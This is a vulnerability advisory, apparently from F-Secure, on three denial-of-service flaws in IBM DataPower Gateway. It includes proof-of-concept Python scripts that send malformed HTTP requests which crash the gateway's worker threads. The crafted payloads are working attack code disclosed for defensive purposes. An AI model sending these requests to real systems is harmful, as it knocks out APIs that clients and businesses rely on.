IBM DataPower Gateway - Multiple Denial of Service vulnerabilities
CVE-2020-4579, CVE-2020-4580, CVE-2020-4581
Description
F-Secure identified three Denial of Service (DoS) vulnerabilities in the IBM DataPower Gateway. An attacker can send crafted HTTP requests through the gateway which will cause the gateway to crash.
IBM DataPower Gateway is an API gateway. It provides functionality to secure, control, connect and accelerate the delivery of APIs. The IBM DataPower Gateway is used in IBM’s API Connect (APIC) solution.
Impact
API gateways are often deployed as an Internet facing component to handle incoming API requests. An attacker can exploit the vulnerabilities to crash the gateway and effectively deny clients access to the published APIs.
Proof of concept
Below are skeleton Python 3 scripts which send a single request to a Datapower instance listening on the loopback adapter at TCP port 8000.
Each malformed request identified and detailed below will cause a worker thread in the gateway to terminate. If the gateway has 16 worker threads, the requests have to be sent 16 times in order to render the APIs unavailable. When all worker threads are terminated, the gateway process will subsequently terminate after 15-30s and no longer accept incoming network connections.
CVE-2020-4579 - HTTP2 upgrade request without host header and invalid content length:
import socket
payload = """POST /users HTTP/1.1\r\n Connection: Upgrade, HTTP2-Settings\r\nUpgrade: h2c\r\nHTTP2-Settings: AAMAAABkAARAAAAAAAIAAAAA\r\nContent-Length: 10\r\n\r\n"""
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('127.0.0.1', 8000))
s.send(bytes(payload, encoding='utf-8'))
CVE-2020-4580 - Non-printable characters in JSON key:
import socket
payload = """POST /messages HTTP/1.1\r\nHost: localhost:8000\r\nContent-Length: 8\r\n\r\n{"\x01":""}"""
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('127.0.0.1', 8000))
s.send(bytes(payload, encoding='utf-8'))
CVE-2020-4581 - HTTP/2.0 in combination with Transfer-Encoding: chunked:
import socket
payload = "POST /messages HTTP/2.0\r\nHost: localhost:8000\r\nTransfer-Encoding: chunked\r\n\r\n0\r\n\r\n"
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('127.0.0.1', 8000))
s.send(bytes(payload, encoding='utf-8'))